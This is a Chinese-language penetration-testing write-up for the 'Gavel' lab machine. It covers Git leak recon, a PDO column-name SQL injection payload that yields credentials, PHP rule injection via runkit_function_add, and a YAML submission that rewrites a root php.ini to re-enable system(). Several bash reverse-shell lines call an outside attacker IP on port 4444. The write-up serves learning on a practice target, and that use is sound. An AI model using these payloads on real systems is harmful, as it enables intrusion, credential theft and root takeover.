本文介绍了对“Gavel”靶机的渗透测试过程,包括获取初步访问权限和权限提升的详细步骤。首先,通过Git泄露和PDO列名注入获取了数据库的用户密码。接着,通过利用runkit_function_add函数注入恶意规则,实现远程代码执行。获得shell后,利用gavel-util工具上传YAML文件,进一步修改php.ini文件,最终通过执行带有反向连接的代码获得root权限。整个过程展示了如何利用SQL注入、代码注入和配置文件修改等技术进行渗透测试。

OS:Linux

Medium

Foothold:
Git 泄露 → PDO 列名注入 → 后台 rule 注入 → runkit_function_add RCE
PrivEsc:
gavel-util YAML 注入 → 覆盖 root PHP.ini → 恢复 system() → RCE to root

Recon

# Nmap 7.95 scan initiated Tue Dec  2 23:25:48 2025 as: /usr/lib/nmap/nmap --privileged -Pn -p22,80 -sC -sV -oA ./Recon/10.10.11.97 10.10.11.97
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.075s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-git: 
|   10.10.11.97:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: .. 
|_http-title: Gavel Auction
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec  2 23:25:59 2025 -- 1 IP address (1 host up) scanned in 10.82 seconds

Web

git-dumper http://gavel.htb/.git git_gavel

查看源代码时,发现inventory.php中有sql注入,可以查看此文章

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';                                                           
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];                                           
$col = "`" . str_replace("`", "", $sortItem) . "`";                                                                   
$itemMap = [];                                                                                                        
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");                               
try {                                                                                                                 
    if ($sortItem === 'quantity') {                                                                                                                                                                                                         
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");                                                                                          
        $stmt->execute([$userId]);                                                                                    
    } else {                                               
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");                 
        $stmt->execute([$userId]);                                                                                                                                                                                                          
    }                                                                                                                 
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);   

我们通过burp得到

POST /inventory.php HTTP/1.1
Host: gavel.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://gavel.htb
Connection: keep-alive
Referer: http://gavel.htb/inventory.php
Cookie: gavel_session=v1euet2s3gtbaa50s4b1ganied
Upgrade-Insecure-Requests: 1
Priority: u=0, i

user_id=6&sort=quantity

其中$col对应的是sort。

最终payload

http://gavel.htb/inventory.php?user_id=x`%20FROM%20(SELECT%20table_name%20AS%20`%27x`%20FROM%20information_schema.tables)y;--%20&sort=\?--%20%00

得到账户密码auctioneer:midnight1


Foothold

继续查看源代码。可以发现

rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."

  - rule: "return $current_bid % 5 == 0;"
    message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."

  - rule: "return $current_bid >= $previous_bid + 5000;"
    message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."

该文件是php代码。system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.62/4444 0>&1'");

'rule'    => $selectedRule['rule'],
'message' => $selectedRule['message']
$selectedRule = $rules['rules'][array_rand($rules['rules'])];
file_put_contents(ROOT_PATH . '/rules/auction_' . $auctionId . '.yaml', yaml_emit($selectedRule));

将写入的rule和message存入/rules/auction_id.yaml文件中(无过滤)

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);

其中runkit_function_add()会把参数当作PHP代码运行,关于更多可执行的php函数可以查看这里

所以在admin中我们可以更改rule以便执行代码

rule: system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true;
message: "pwned"
image

然后再出一次价格,触发即可

此时就获得了shell


PrivEsc

获得shell后我们使用su auctioneer连接到用户

auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

查看属于组gavel-seller的文件:find / -group 'gavel-seller' 2>/dev/null

  • /run/gaveld.sock
  • /usr/local/bin/gavel-util
auctioneer@gavel:~$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

可以知道该命令可以上传一个yaml文件。

查看与之相关的进程

auctioneer@gavel:~$ ps -ef | grep -i gavel
root         936       1  0 10:27 ?        00:00:00 /opt/gavel/gaveld
root         947       1  0 10:27 ?        00:00:28 python3 /root/scripts/timeout_gavel.py
auction+   15381    6982  0 11:38 pts/0    00:00:00 /usr/local/bin/gavel-util submit /tmp/test000.yaml
root       15382     936  0 11:38 ?        00:00:00 /opt/gavel/gaveld
root       15383   15382  0 11:38 ?        00:00:00 /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true; };$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }
auction+   17815   16196  0 11:50 pts/2    00:00:00 grep -i gavel

可以看到有一个文件/opt/gavel/gaveld

auctioneer@gavel:~$ ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root  4096 Dec  4 11:40 .
drwxr-xr-x 3 root root  4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root  4096 Nov  5 12:46 .config
-rwxr-xr-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root  4096 Dec  4 11:40 submission

其中我们可以读取/opt/gavel/.config/php/php.ini。

/usr/local/bin/gavel-util上传的文件可能到submission文件夹gaveld可能执行submission中的.yaml文件。

engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once
,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

可以发现大部分函数被禁用

我们先创建一个简单的文件

name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: file_put_contents('/opt/gavel/test', 'testabcaaa');return true;
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /tmp/test.yaml
Item submitted for review in next auction
image

查看文件就是testabcaaa。这证明我们可以修改此文件,所以我们可以修改/opt/gavel/.config/php/php.ini文件。

name: "Test Item"
description: "Test"
image: "https://example.com/test.png"
price: 100
rule_msg: "Test"
rule: |
  $config = <<<EOD
  engine=On
  display_errors=On
  display_startup_errors=On
  log_errors=Off
  error_reporting=E_ALL
  open_basedir=/opt/gavel
  memory_limit=32M
  max_execution_time=3
  max_input_time=10
  disable_functions=
  scan_dir=
  allow_url_fopen=Off
  allow_url_include=Off
  EOD;
  
  file_put_contents('/opt/gavel/.config/php/php.ini', $config);
  return true;

最后再使用下面这样的代码。即可得到root

name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: |
  system('bash -c "bash -i >& /dev/tcp/10.10.16.62/4444 0>&1"');return true;